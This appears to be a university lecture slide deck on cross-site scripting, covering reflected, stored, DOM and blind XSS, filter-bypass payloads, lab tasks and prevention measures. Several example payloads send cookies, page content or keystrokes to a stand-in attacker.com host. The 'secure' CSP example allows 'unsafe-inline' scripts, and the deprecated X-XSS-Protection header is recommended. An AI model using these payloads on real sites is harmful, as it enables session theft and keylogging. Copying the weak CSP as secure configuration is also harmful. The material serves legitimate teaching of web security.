CMU540

WEB-XSS-01 - Cross-Site Scripting

Session 5

James Williams

jwilliams@staff.newman.ac.uk

Learning Objectives

Understand OWASP A03: Cross-Site Scripting (XSS)
Identify different types of XSS vulnerabilities
Learn client-side security best practices
Practice vulnerability discovery using OS³ Studio
Implement secure XSS prevention measures
Explore career opportunities in web security

OWASP A03: Cross-Site Scripting (XSS)

Definition: XSS occurs when malicious scripts are injected into web applications and executed in users' browsers.

Types of XSS:

Reflected XSS (Non-persistent)
Stored XSS (Persistent)
DOM-based XSS
Blind XSS

Real-World Impact

Notable XSS Attacks:

Samy Worm (2005): MySpace XSS worm infected 1 million users
PayPal (2010): Stored XSS in payment pages
Facebook (2011): XSS vulnerability exposed user data

Impact: Session hijacking, data theft, malware distribution, phishing

Reflected XSS (Non-Persistent)

Attack Scenario:

<!-- VULNERABLE: Reflected XSS -->
<div>Search results for: <?php echo $_GET['q']; ?></div>
<!-- Malicious URL -->
https://example.com/search?q=<script>alert('XSS')</script>
<!-- Result -->
<div>Search results for: <script>alert('XSS')</script></div>

Characteristics: Script is reflected immediately, not stored

Stored XSS (Persistent)

Attack Scenario:

<!-- VULNERABLE: Stored XSS -->
<div class="comment"><?php echo $comment['text']; ?></div>
<!-- Malicious comment -->
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
<!-- Result: Executed for every visitor -->
<div class="comment"><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script></div>

Characteristics: Script is stored and executed for all visitors

DOM-based XSS

Attack Scenario:

<!-- VULNERABLE: DOM-based XSS -->
<script>
  var hash = location.hash.substring(1);
  document.getElementById('content').innerHTML = hash;
</script>
<!-- Malicious URL -->
https://example.com/page#<img src=x onerror=alert('XSS')>
<!-- Result: Script executed via DOM manipulation -->

Characteristics: Vulnerability exists in client-side JavaScript

Blind XSS

Attack Scenario:

<!-- VULNERABLE: Blind XSS -->
<!-- Admin panel logs user input -->
<div class="log-entry"><?php echo $log['user_input']; ?></div>
<!-- Malicious payload in user profile -->
<script>fetch('http://attacker.com/steal?data='+document.body.innerHTML)</script>
<!-- Result: Executed when admin views logs -->

Characteristics: Script executes in a different context (admin panel)

Common XSS Attack Vectors

1. Basic Script Injection

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')></svg>
<iframe src="javascript:alert('XSS')"></iframe>

2. Event Handlers

<div onmouseover="alert('XSS')">Hover me</div>
<input onfocus="alert('XSS')">
<body onload="alert('XSS')">

Advanced XSS Techniques

1. Bypassing Filters

<!-- Case variation -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- Encoding -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- Alternative syntax -->
<script>alert`XSS`</script>

2. Context-Aware Payloads

<!-- Inside HTML attribute -->
<input value=""><script>alert('XSS')</script>">
<!-- Inside JavaScript -->
<script>var name = '</script><script>alert('XSS')</script>';</script>

XSS Attack Impact

1. Session Hijacking

<script>
  var img = new Image();
  img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

2. Keylogger

<script>
  document.addEventListener('keypress', function(e) {
    fetch('http://attacker.com/log?key=' + e.key);
  });
</script>

Career Opportunities in Web Security

Web Security Roles:

Web Application Security Engineer: £45,000 - £90,000
Frontend Security Specialist: £40,000 - £80,000
Penetration Tester: £35,000 - £70,000
Security Consultant: £50,000 - £100,000
Bug Bounty Hunter: £30,000 - £150,000+

Skills Needed: JavaScript, HTML/CSS, Web security, Penetration testing

Industry Certifications

Web Security Certifications:

OSWE: Offensive Security Web Expert
GWAPT: GIAC Web Application Penetration Tester
CEH: Certified Ethical Hacker
OSCP: Offensive Security Certified Professional
CISSP: Certified Information Systems Security Professional

Resources: Offensive Security | GIAC

OS³ Newman Cyber Security Lab

WEB-XSS-01 Lab Environment

Our OS³ Studio provides hands-on experience with:

Vulnerable web applications with XSS flaws
Real-world attack scenarios and techniques
Secure implementation challenges
Client-side security best practices

Access: Available through university portal

Practical Examples

Watch: XSS Vulnerabilities Explained

See Moodle for supporting materials.

Understanding real-world XSS vulnerabilities and attack techniques

Web Demos and Tools

XSS Testing Tools:

Burp Suite - Web application security testing
OWASP ZAP - Open source web app scanner
Google XSS Game - Interactive XSS challenges
Prompt.ml - XSS filter evasion challenges
Alert(1) - XSS challenge platform

Case Study: Samy Worm

MySpace XSS Worm (2005)

Impact: 1 million users infected in 20 hours
Method: Stored XSS in user profile
Payload: JavaScript worm that self-replicated
Result: MySpace temporarily shut down

Lesson: XSS can be used to create self-propagating malware

Summary: Common XSS Vulnerabilities

                    Key Vulnerabilities to Look For:
                    Unescaped user input in HTML output
Dynamic content without proper encoding
JavaScript execution from user input
Missing Content Security Policy
Insufficient input validation
DOM manipulation vulnerabilities
Event handler injection

                

Task 1: XSS Vulnerability Discovery

Objective:

Use OS³ Studio to identify XSS vulnerabilities in the WEB-XSS-01 lab environment.

Instructions:

Access the OS³ Studio vulnerable application
Test for reflected XSS vulnerabilities
Look for stored XSS opportunities
Test for DOM-based XSS
Try blind XSS techniques
Attempt filter bypass methods
Document all findings with proof of concept
Prepare a vulnerability assessment report

Time: 45 minutes

Focus on systematic testing and thorough documentation

Break Time

15 Minutes

Take a break, ask questions, or catch up on the previous task.

Next: Secure implementation and Task 2

Secure XSS Prevention

1. Output Encoding

<!-- SECURE: HTML encoding -->
<?php echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); ?>
<!-- SECURE: JavaScript encoding -->
<script>
  var userData = <?php echo json_encode($user_input); ?>;
</script>
<!-- SECURE: URL encoding -->
<a href="profile.php?id=<?php echo urlencode($user_id); ?>">Profile</a>

2. Input Validation

<!-- SECURE: Input validation -->
function validateInput(input) {
  if (typeof input !== 'string') return false;
  if (input.length > 1000) return false;
  // Allow only alphanumeric and safe characters
  return /^[a-zA-Z0-9\s.,!?-]+$/.test(input);
}

Content Security Policy (CSP)

1. CSP Implementation

<!-- SECURE: CSP header -->
Content-Security-Policy: default-src 'self';
  script-src 'self' 'unsafe-inline';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

2. CSP Nonce Implementation

<!-- SECURE: CSP with nonce -->
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?php echo $nonce; ?>'">
<script nonce="<?php echo $nonce; ?>">
  // Only scripts with matching nonce execute
</script>

Secure JavaScript Practices

1. Safe DOM Manipulation

<!-- SECURE: Safe DOM manipulation -->
// Good: Use textContent instead of innerHTML
element.textContent = userInput;
// Good: Use createElement and appendChild
var div = document.createElement('div');
div.textContent = userInput;
parentElement.appendChild(div);
// Bad: innerHTML allows script execution
element.innerHTML = userInput;

2. Safe Event Handling

<!-- SECURE: Event delegation -->
document.addEventListener('click', function(e) {
  if (e.target.matches('.safe-button')) {
    handleClick(e.target);
  }
});

HTTP Security Headers

1. XSS Protection Headers

<!-- SECURE: XSS protection headers -->
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()

2. Implementation

<!-- SECURE: Express.js headers -->
app.use((req, res, next) => {
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  next();
});

Template Security

1. Safe Template Engines

<!-- SECURE: Handlebars auto-escaping -->
<div>{{userInput}}</div>  <!-- Auto-escaped -->
<div>{{{userInput}}}</div> <!-- Raw HTML (dangerous) -->
<!-- SECURE: Jinja2 auto-escaping -->
<div>{{ user_input }}</div>  <!-- Auto-escaped -->
<div>{{ user_input|safe }}</div> <!-- Raw HTML (dangerous) -->

2. Template Context

Always use auto-escaping templates
Avoid raw HTML output
Validate template data
Use template sandboxing

Client-Side Security

1. Safe Data Handling

<!-- SECURE: Safe data handling -->
// Good: Validate data on client and server
function displayUserData(data) {
  if (!isValidUserData(data)) return;
  document.getElementById('user-info').textContent = data.name;
}
// Bad: Direct DOM manipulation
document.getElementById('user-info').innerHTML = data.name;

2. Safe API Integration

<!-- SECURE: Safe API calls -->
fetch('/api/user-data')
  .then(response => response.json())
  .then(data => {
    if (validateApiData(data)) {
      displayData(data);
    }
  })
  .catch(error => console.error('API Error:', error));

Testing and Validation

1. Automated XSS Testing

<!-- Security testing tools -->
npm install --save-dev eslint-plugin-security
npm install --save-dev xss
// Run security audit
npm audit
eslint --ext .js --plugin security .

2. Manual Testing Checklist

Test all user input fields
Try various XSS payloads
Test different contexts (HTML, JS, CSS)
Verify CSP implementation
Check security headers

Career Development in Web Security

Next Steps:

Advanced Certifications: OSWE, GWAPT, OSCP
Specialized Training: Frontend security, JavaScript security
Hands-on Practice: CTF competitions, bug bounties
Industry Networking: Security conferences, meetups
Research: New attack techniques, defense methods

Resources: OWASP | PortSwigger | XSS Game

Task 2: Secure XSS Prevention Implementation

Objective:

Use OS³ Studio to implement secure XSS prevention measures and fix the vulnerabilities found in Task 1.

Instructions:

Access the OS³ Studio secure implementation environment
Implement proper output encoding for all user data
Add Content Security Policy headers
Configure HTTP security headers
Replace unsafe DOM manipulation with safe methods
Implement input validation and sanitization
Test the secure implementation
Document the security improvements

Time: 45 minutes

Focus on implementing industry-standard XSS prevention

Further Activity: Code Inspection

Advanced Students - Code Analysis:

For students with additional time, explore the source code to understand:

How user input is processed and displayed
Template engine configuration and escaping
JavaScript security practices
HTTP security header implementation
CSP policy configuration

Deliverable: Code review report with XSS prevention recommendations

Session Summary

                    Key Takeaways:
                    XSS is a critical client-side security vulnerability
Multiple XSS types exist (reflected, stored, DOM-based, blind)
Output encoding and CSP are primary defenses
OS³ Studio provides hands-on vulnerability testing
Secure implementation requires multiple layers of protection
Career opportunities in web security are growing

                